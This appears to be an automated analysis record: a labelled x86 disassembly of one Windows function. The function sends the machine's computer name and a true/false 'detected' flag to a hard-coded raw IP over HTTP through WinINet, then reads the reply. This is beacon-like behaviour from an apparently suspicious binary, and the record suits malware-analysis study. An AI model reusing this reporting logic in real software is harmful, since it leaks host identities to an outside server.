Function at 0x4027a0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43e65d
mov eax, dword fs:[0]
push eax
mov eax, 0x10d4
call fcn.0041f630
mov eax, dword [0x454068]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov bl, cl
push 0xb0
lea eax, [ebp - 0x10c4]
mov dword [ebp - 0x10e0], 0
push 0
push eax
call fcn.00420770
add esp, 4
lea ecx, [ebp - 0x10c4]
call fcn.004036c0
mov dword [ebp - 4], 0
cmp dword [edi + 0x14], 0x10
jb 0x402810
mov edi, dword [edi]
mov eax, str.false
lea ecx, [ebp - 0x10b4]
test bl, bl
mov esi, str.true
mov edx, str.http:__134.172.6.200:23117__detected
cmove esi, eax
call fcn.00405b40
mov edx, esi
mov ecx, eax
call fcn.00405b40
mov edx, str.computerName
mov ecx, eax
call fcn.00405b40
mov edx, edi
mov ecx, eax
call fcn.004057f0
push 0
push 0
push 0
push 1
push str.HTTP_Request
call dword [sym.imp.WININET.dll_InternetOpenW]
mov ebx, eax
test ebx, ebx
jne 0x40287e
mov edx, str.InternetOpen_failed
call fcn.00405500
push eax
call fcn.004057b0
add esp, 4
jmp 0x402a2c
mov byte [ebp - 4], 1
xor eax, eax
mov ecx, dword [ebp - 0x1070]
mov dword [ebp - 0x10cc], 0
mov dword [ebp - 0x10c8], 7
mov word [ebp - 0x10dc], ax
mov dword [ebp - 0x10e0], 2
test cl, 2
jne 0x4028dc
mov eax, dword [ebp - 0x108c]
mov edx, dword [eax]
test edx, edx
je 0x4028dc
cmp edx, dword [ebp - 0x1074]
mov eax, dword [ebp - 0x109c]
cmovb edx, dword [ebp - 0x1074]
mov ecx, dword [eax]
sub edx, ecx
sar edx, 1
push edx
jmp 0x402906
test cl, 4
jne 0x402912
mov eax, dword [ebp - 0x1090]
mov edx, dword [eax]
test edx, edx
je 0x402912
mov eax, dword [ebp - 0x10a0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x1080]
mov eax, dword [eax]
add eax, eax
sub eax, ecx
add eax, edx
sar eax, 1
push eax
push ecx
lea ecx, [ebp - 0x10dc]
call fcn.00404c50
push 0
push 0x80000000
mov dword [ebp - 4], 0
lea eax, [ebp - 0x10dc]
cmp dword [ebp - 0x10c8], 8
push 0
cmovae eax, dword [ebp - 0x10dc]
push 0
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov edx, dword [ebp - 0x10c8]
mov esi, eax
cmp edx, 8
jb 0x402982
mov ecx, dword [ebp - 0x10dc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402978
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402a53
push edx
push ecx
call fcn.0041e7ac
add esp, 8
xor eax, eax
mov dword [ebp - 0x10cc], 0
mov dword [ebp - 0x10c8], 7
mov word [ebp - 0x10dc], ax
test esi, esi
jne 0x4029bf
mov edx, str.InternetOpenUrl_failed
call fcn.00405500
push eax
call fcn.004057b0
add esp, 4
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x402a2c
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push esi
call edi
test eax, eax
je 0x402a20
nop
mov eax, dword [ebp - 0x1014]
test eax, eax
je 0x402a20
push 0
push eax
lea eax, [ebp - 0x1010]
push eax
call fcn.00404390
push 0x455af8
call fcn.004057b0
add esp, 4
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push esi
call edi
test eax, eax
jne 0x4029e0
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
lea ecx, [ebp - 0x10c4]
call fcn.00402a60
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041e766
mov esp, ebp
pop ebp
ret
call fcn.004232ba
int3